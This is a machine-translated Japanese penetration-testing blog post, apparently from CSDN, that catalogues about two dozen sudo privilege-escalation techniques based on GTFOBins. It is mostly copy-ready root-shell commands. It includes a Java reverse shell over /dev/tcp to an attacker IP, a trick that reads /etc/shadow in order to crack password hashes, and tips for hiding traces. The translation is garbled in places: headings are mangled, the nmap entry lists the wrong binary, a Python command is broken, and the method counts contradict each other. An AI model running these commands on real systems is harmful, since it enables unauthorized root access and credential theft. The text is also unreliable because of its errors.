目次
初めに書きます
この記事では、前の 2 つのブログに基づいて、ペネトレーション テストのための sudo 権限昇格方法を引き続き説明します。関連コンテンツの紹介と背景については、以下を参照してください。
ペネトレーション テスト: Linux 権限昇格の講義 (1) - Sudo メソッド フェーズ 1 - Bossfrank のブログ - CSDN ブログ
ペネトレーションテスト: Linux 権限昇格講座 (2) Sudo メソッド フェーズ II - Bossfrank のブログ - CSDN ブログ
この記事では、レッド チーム ノートと GTFOBins オープン ソース プロジェクト (詳細についてはGTFOBinsを参照)の説明に基づいて、Linux システム ターゲット マシンの sudo 権限昇格方法を引き続き簡単にまとめます。レッドチームノートボスの最初のビデオリンクは次のとおりです。
記事の最後にある概要と考え方のモジュールでは、この記事に関係する権限昇格の方法を分類し、sudo 権限昇格の考え方とロジックを要約します。完全に適切ではないかもしれませんが、これは私の個人的な理解にすぎません。 ' コメントや個人的な手紙で一緒に議論することは歓迎です。
須藤JJS
悪用の前提条件
現在のユーザーは、sudo 拡張権限で jjs を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
( root ) NOPASSWD : / usr / bin / jjs
使用方法の詳細はjjs | GTFOBinsを参照してください。しかし、赤チームのノートのボスによると、GTFOBins の使用方法に問題があり、リバウンド シェルが受信できないとのことです。jjsはJavaScriptシェルの略称です。
GTFOBins コマンドを直接実行するため操作方法が
スタックしてしまいますが、この操作方法はjjs | GTFOBinsのロジックを組み合わせ、Reverse Shell Cheat Sheet | Pentestmonkeyの Java リバースシェル記述方法を使用します。
echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs
ロジックはスクリプトを jjs に出力することであり、jjs には sudo 権限があり、このリバウンド シェルを実行するとルート シェルがバウンスバックされます。実行前に、kali のポート 1234 で nc がリッスンできるようにすることを忘れないでください。
nc -lvnp 1234
リバウンドシェルを受け取ることができます。この時点で受信したリバウンド シェルは完全に対話型ではない可能性があることに注意してください。bash と入力して bash シェルを起動し、対話型を強化できます。
sudoジャーナルctl
悪用の前提条件
現在のユーザーは、sudo 拡張権限でjournalctl を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /bin/journalctl
同時に、感嘆符! システムコマンドを実行する機能を無効にすることはできません。
journalctl は、systemctl システムでシステム ログを管理するためのツールであり、新しい Linux ディストリビューションで利用できるようになります。詳細については、journalctl | GTFOBinsを参照してください。
操作方法
まず、journalctl を sudo で直接実行します。
sudo journalctl
その後、システム ログを表示するためのインターフェイスに入ったことがわかりました。インターフェイスの最下層では、less コマンドと同様のメカニズムが使用されており、感嘆符を入力できます。システム コマンドを入力するため、次のように直接入力します。
!/bin/bash
権利の向上が実現できます。システムコマンドを実行するための感嘆符! 機能が無効になっている場合、権限を昇格することはできません。
須藤ナイフ
悪用の前提条件
現在のユーザーは、sudo 拡張権限でナイフを実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/knife
ナイフはシェフのコマンド ライン インターフェイスであり、シェフのサーバーと対話できます。シェフはサーバーなどのインフラストラクチャの自動管理および構成ツールです。詳細については、ナイフ | GTFOBinsを参照してください。
操作方法
sudo knife exec -E 'exec "/bin/bash"'
このうちexecはknifeのサブコマンドで、-Eパラメータにはルビ言語形式(knifeはルビ言語に基づいて記述されています)の文字列が導入され、実行するコマンドを示します。権限を昇格させるために実行します。
sudoを減らす
悪用の前提条件
現在のユーザーは、sudo の高度な権限でより少ない権限で実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/less
Less はファイルを読み取るための一般的なツールです。上で述べたように、ファイルを読み取るときにシステム コマンドを入力してシェルを起動するために、less に似た多くの権限昇格メカニズムが使用されます。詳細については、less | GTFOBins を参照してください。
操作方法
まず一時ファイルを作成できます
mktemp ./XXX
これで、この一時ファイルの名前 (./tE70f など) が表示され、sudoless を使用してこの一時ファイルを読み取ることができるようになります。
sudo less tE70f
読み取りインターフェイスに入ったら、システム コマンドの入力を示す感嘆符を入力し、bash を起動して特権を昇格します。
!/bin/bash
もちろん、ファイルをランダムに直接読み取り、!/bin/bash を入力することもできます。ここで説明する一時ファイルを使用する方法は、侵入テスト中に自分の痕跡を隠すのに役立ちます。
須藤男
悪用の前提条件
現在のユーザーは、sudo 拡張権限で man を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/man
man は、Linux コマンドのヘルプを表示するためによく使用されるツールであり、右上げ関数も、less と同様のメカニズムです。詳細については、man | GTFOBinsを参照してください。
操作方法
まず、何気なく入力し、sudo man を使用して Linux コマンドを表示します (例として ls が使用されています)。
sudo man ls
ヘルプ インターフェイスに入った後、「!」と入力することもできます。システム コマンドを実行でき、less と同様のメカニズムを使用して特権を昇格できます。
!/bin/bash
須藤もっと
悪用の前提条件
現在のユーザーは、sudo 拡張権限を使用してさらに実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/more
more はless に似ており、どちらもファイルの読み取りに使用され、右上げ関数もless に似たメカニズムです。詳細については、詳細を参照 | GTFOBins
操作方法
または、一時ファイルの方法を使用して、まず一時ファイルを作成します。
mktemp ./xxx
この一時ファイルの名前 (./7aADd など) が表示されるはずです。この一時ファイルは空であるため、more で読み取っても結果は表示されません。そのため、最初にファイルをこの一時ファイルにリダイレクトできます。 Bossfrank が既存のファイルであると仮定すると、次のようになります。
yes bossfrank > 7aADd
次に、さらに読んで、! で bash を開始します。
sudo more 7aADd
!/bin/bash
また、一時ファイルを使用すると、痕跡を隠すのに便利です。権限昇格のためだけにシステム ファイルを直接読み取ることも可能です。
sudoマウント
悪用の前提条件
現在のユーザーは、sudo 拡張権限を使用して mount を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/mount
mount はファイルのマウントによく使用され、ディスクと共有ファイル ディレクトリをマウントできます。詳細については、 mount | GTFOBinsを参照してください。
操作方法
sudo mount -o bind /bin/bash /bin/mount
-o は、option がオプションを指定し、bind がバインドに使用され、bash をマウントにバインドすることを意味します。そのため、sudo が mount を再度実行する限り、権限を高めることができます。
sudo mount
sudomysql
悪用の前提条件
現在のユーザーは、sudo の高度な権限で mysql を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/mysql
mysql などの主要なアプリケーションには、多くの場合、システム コマンドを実行する操作があります。詳細については、「mysql | GTFOBins」を参照してください。
操作方法
sudo mysql -e '\! /bin/sh'
このうち、-e はシステムコマンドの実行を意味し、感嘆符! はシステムコマンドの実行開始を意味します bash 文中の感嘆符! はアクセス履歴を示すため、感嘆符! はバックスラッシュ \ でエスケープする必要があります。
sudo nano
悪用の前提条件
現在のユーザーは、sudo 拡張権限で nano を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/nano
nano はテキスト エディタであり、その権限昇格方法は非常に一般的です。多くのツールは下部で nano を呼び出すため、これは一種の権限昇格メソッドです。詳細については、 「nano | GTFOBins」を参照してください。
操作方法
nano を起動すると、nano エディターの下部に次のメニューが表示されます。
sudo nano
ctrl + r を入力して「ファイルの読み取り」を選択すると、ファイルを読み取るためのインターフェイスが表示されます。下部のメニューは次のとおりです。
ここでわかるように、ctrl + x を入力して Execute Command 実行コマンド インターフェイスに入ります。その後、実行するシステム コマンドを入力するだけで済みます。
reset;bash 1>&0 2>&0
まずリセットして環境変数をリセットし、次に bash を起動して出力とエラー情報をリダイレクトして権限を昇格します。
sudoネオフェッチ
悪用の前提条件
現在のユーザーは、sudo 拡張権限で neofetch を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/neofetch
neofetch 自体は、システム構成情報を表示するために使用されるコマンドライン ツールです。カスタム構成ファイルを使用して出力情報と形式を変更して、特権昇格を実現できます。詳細については、neofetch | GTFOBins を参照してください。
操作方法
まず、新しい一時ファイルを指す変数 TF を宣言します。
TF=$(mktemp)
権限昇格ロジックを一時ファイルに書き込みます。
echo 'exec /bin/bash' >$TF
最後に、sudo は次の構成ファイルを指定しながら neofetch を実行します。
sudo neofetch --config $TF
neofetch の設定ファイルはファイルを指定してのみ実行できるため、権限昇格ロジックはファイル内にのみ記述でき、システムコマンドを実行する平文命令を上記ステートメントに直接追加することはできません。上記のコマンドを実行して権限を昇格します。
須藤、いいですね
悪用の前提条件
現在のユーザーは、sudo 拡張権限を使用して nice を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/nice
nice コマンド自体は、プロセスの優先順位を変更するために使用されます (最高の優先順位は -20、最低は 19、デフォルトは 10)。詳細については、nice | GTFOBins を参照してください。
操作方法
bash を直接起動できます。
sudo nice /bin/bash
これを実行して権限を昇格します。
sudo nmap
悪用の前提条件
現在のユーザーは、sudo 拡張権限で nmap を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/nice
nmap は一般的なポート スキャン ツールであり、スクリプトをカスタマイズできます。詳細については、 nmap | GTFOBinsを参照してください。
操作方法
nmap には多くのバージョンがあり、特権を昇格するさまざまな方法があります。ここにその 1 つを示します。まず、新しく作成された一時ファイルを指す変数 TF を宣言します。
TF=$(mktemp)
権限昇格ロジックをこの一時ファイルにエコーします。
echo 'os.execute("/bin/sh")' > $TF
sudo は nmap を実行し、作成した権限昇格スクリプトを指定します。
sudo nmap --script=$TF
sudoノード
悪用の前提条件
現在のユーザーは sudo 拡張権限でノードを実行できます。つまり、 sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/node
Node コマンドは Node.js を実行するために使用されます。詳細については、 node | GTFOBinsを参照してください。
操作方法
Node.js のオプション -e を使用すると、権限昇格を実行できます。
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
-e で文字列を指定します。文字列は Node.js のコードです。上記のコマンドを実行して権限を昇格します。
sudo nohup
悪用の前提条件
現在のユーザーは、sudo 拡張権限で nohup を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/nohup
nohup コマンドは主にジョブ管理に使用されます。Nohup は保留中のシグナルを無視しながらコマンドを実行できます (たとえば、nohup でプロセスを開始した後、ターミナルが閉じられた後もプロセスは実行されます)。詳細については、nohup | GTFOBins を参照してください。
操作方法
sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
まず、nohup を使用して /bin/bash セッションを開始します。ここで、-c パラメーターはプロセスを管理し、bash の入出力をリダイレクトします。これを実行して権限を昇格します。
sudo openvpn
悪用の前提条件
現在のユーザーは、sudo 拡張権限で openvpn を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/sbin/openvpn
openvpn の使用については、openvpn | GTFOBinsを参照してください。
操作方法
openvpn はパラメータを通じて設定ファイルを読み取ることができ、sudo ができる場合は root としてシステムの機密ファイルを読み取ることができます。
sudo openvpn --config /etc/shadow
結果はエラーを報告しますが、エラー メッセージは機密情報の最初の行、つまり /etc/shadow の最初の行を公開します。これに基づいて root アカウントのパスワード ハッシュを取得し、john を使用します。それを解読するための辞書を見つけることです(解読できない場合もあります)。
sudoパスワード
悪用の前提条件
現在のユーザーは、コマンド passwd を実行して、sudo 拡張権限を使用してパスワードを変更できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/passwd
passwd を使用すると、パスワードを直接変更できます。
操作方法
sudo で passwd を実行できるため、root パスワードを直接変更できます。
sudo passwd
次に、パスワードを 2 回入力します。新しいパスワード su を使用して権限を昇格できます。少し突飛に見えますが、この種の構成は実際の状況でも実際に可能です。権限の低い管理者はシステム パスワードを変更する必要があり、自分自身に passwd の sudo 権限を設定します。
sudoパール
悪用の前提条件
現在のユーザーは、sudo 拡張権限で Perl 言語を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/perl
使用法の詳細については、perl | GTFOBinsを参照してください。
操作方法
Perl はスクリプト言語であり、権限を昇格する方法はたくさんあります。以下を例として挙げます。
sudo perl -e 'exec "/bin/sh";'
Perl 言語には、Perl スクリプトを直接実行するための -e パラメータがあり、bash を直接実行して起動し、上記のコマンドを実行して権限を直接昇格できます。
sudophp
悪用の前提条件
現在のユーザーは、sudo の高度な権限で php を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/php
詳細については、 php | GTFOBinsを参照してください。
操作方法
PHP は、特に侵入テスト中の共通言語でもあります。権限昇格ステートメントは数多く考えられるはずです。ここでは、-r パラメーターを使用して bash を直接起動する、シンプルで直感的な方法が使用されています。これらの操作は、Web 侵入にも非常に実用的です。
sudo php -r "system('/bin/bash');"
これらの操作は、Web 侵入にも非常に実用的です。
汗がピークに達する
悪用の前提条件
現在のユーザーは、sudo 拡張権限で pico を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/pico
pico は nano に非常に似ており、エディターでもあります (機能は nano とは異なります)。詳細についてはpico | GTFOBinsを参照してください。
操作方法
ここでの操作は基本的に nano の権限昇格方法と同じなので説明するのが面倒ですが、簡単に言うと以下のコマンドです。
sudo pico
^R^X
reset; bash 1>&0 2>&0
このうち、ctrl + r はファイル読み取りモードを選択し、ctrl + x は実行コマンド Execute Commend を選択します。
sudo pkexec
悪用の前提条件
現在のユーザーは、sudo 拡張権限で pkexec を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/pkexec
pk は、policykit Policy suite の略で、システムポリシーを管理するサービスです。Policykit を使用すると、特権のないプロセスが特権操作のために通信できるようになります。詳細については、 pkexec | GTFOBinsを参照してください。
操作方法
pkexec ツールは、権限関連の操作を実行し、ユーザーが指定したプログラムを実行できます。ここで bash を起動します。
sudo pkexec /bin/bash
権限を昇格させるために実行します。
sudo Python3
悪用の前提条件
現在のユーザーは、sudo 拡張権限で python3 を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/python3
Python も一般的な大規模言語です。詳細については、「Python | GTFOBins」を参照してください。
操作方法
通常、シェルの対話性を向上させるためにリフレクションに Python ステートメントを使用しますが、ここではステートメントを使用してシェルを直接起動することもできます。
sudo python3 -c "import os;os.system('/bin/bash)"
権限を昇格させるために実行します。権限を昇格させる方法はたくさんありますが、これはそのうちの 1 つにすぎません。
サウスリヴィム
悪用の前提条件
現在のユーザーは、sudo 拡張権限で rvim を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/rvim
Rvim は、vim エディターの特定のバージョン (制限モードを意味します) であり、vim と比較して、rvim での操作には多くの制限があり、システムを危険にさらす可能性のある多くのコマンドが無効になります。詳細については、 「rvim | GTFOBins」を参照してください。
操作方法
sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
権限を昇格するために実行します。一重引用符内の内容は Python で記述されたシェル セッションを開始するコードで、コロン: は vim の構文であり、システム コマンドを実行することを意味します。
sudo scp
悪用の前提条件
現在のユーザーは、sudo 拡張権限で scp を実行できます。つまり、sudo -l を実行すると、次の行が表示されます。
(ルート) NOPASSWD: /usr/bin/scp
scp は Linux で ssh ベースのリモート ファイル コピーに使用される secure copy の略称で、機能は cp と似ていますが、サーバーをまたいでコピーすることができます。詳細については、 scp | GTFOBins を参照してください。
操作方法
特権を昇格するときにパラメータ -S を指定する必要があります。これは、SSH プログラムが指定されており、その中で ssh ロジックを指定できることを示します。まず、変数 TF を使用して一時ファイルを指します。
TF=$(mktemp)
次に、権限昇格ロジックを一時変数に書き込みます。
echo 'bash 0<&2 1>&2' > $TF
変数 (一時ファイル) に実行権限を追加します。
chmod +x "$TF"
次に、-S パラメータを使用して一時ファイルを指定します。ここでは、$TF は ssh プログラムとして指定されており、ソース ファイルとターゲット ファイルを同時に指定する必要があります。権限を昇格したいだけなので、必要はありません。実際にはコピーしたくないので、x と y とだけ書きます。そうです、コロン: はローカル ファイルとリモート ファイルを区別するために使用されます。
sudo scp -S $TF x y:
権限を昇格させるために実行します。
まとめと考察
この記事では、主にシステムの実行可能ファイル/ツールの高特権構成を使用した 23 の一般的な sudo 特権昇格方法を紹介します。これにより、低特権のユーザー (最初のターゲット シェル) が秘密の指示なしで root 特権の sudo で高特権のプログラムを実行できるようになります。この記事の導入を通じて、読者が権限昇格の本質をより直観的に理解できることを願っています。つまり、権限の低いユーザーが何らかの理由 (構成/脆弱性) で権限の高い命令/ツール/スクリプトを実行できるということです。結局、この記事では12の権利向上方法を強引に分類してまとめてみることにしました。
システムコマンドを直接実行できます: sudo nice、sudo nohup、sudo pkexec
特定のパラメータを介してシステム コマンドを間接的に実行します: sudoナイフ、sudo mount、sudo rvim、sudo mysql
特定の言語に基づく: sudo perl、sudo php、sudo python、sudo node、sudo jjs
Less 環境でのシステム コマンドの実行と同様: sudo less、sudo more、sudojournalctl、sudo man
nano のようなエディタ環境でシステム コマンドを実行します: sudo nano、sudo pico
エラーを報告して機密ファイルを読み取る: sudo openvpn
設定ファイル/スクリプトを指定してシステム コマンドを実行します: sudo neofetch、sudo nmap、sudo scp
機密ファイルを直接変更: sudo passwd
実際、ほとんどの場合、システム コマンドは何らかの方法で実行されます。どの方法で実行するか (直接/スクリプト/設定ファイル/エディタ環境など) については、実際には特に明確な境界線はありません。したがって、私の分類の中には少し突飛な部分があるかもしれませんが、権限昇格のロジックを理解することだけが必要です。
このブログはここにあります。要約するのは本当に簡単ではありません。読者は「いいね」、フォロー、サポートを歓迎します。この記事で説明されている権限昇格のすべての方法を私は実践したわけではないので、このようなさまざまな状況に遭遇するには、長期にわたる侵入テストと練習が必要になる可能性があります。今後も Linux の権限昇格に関する手法をまとめて、ターゲットを絞って書いていきたいと思いますので、読者の皆様のご支援をお待ちしております。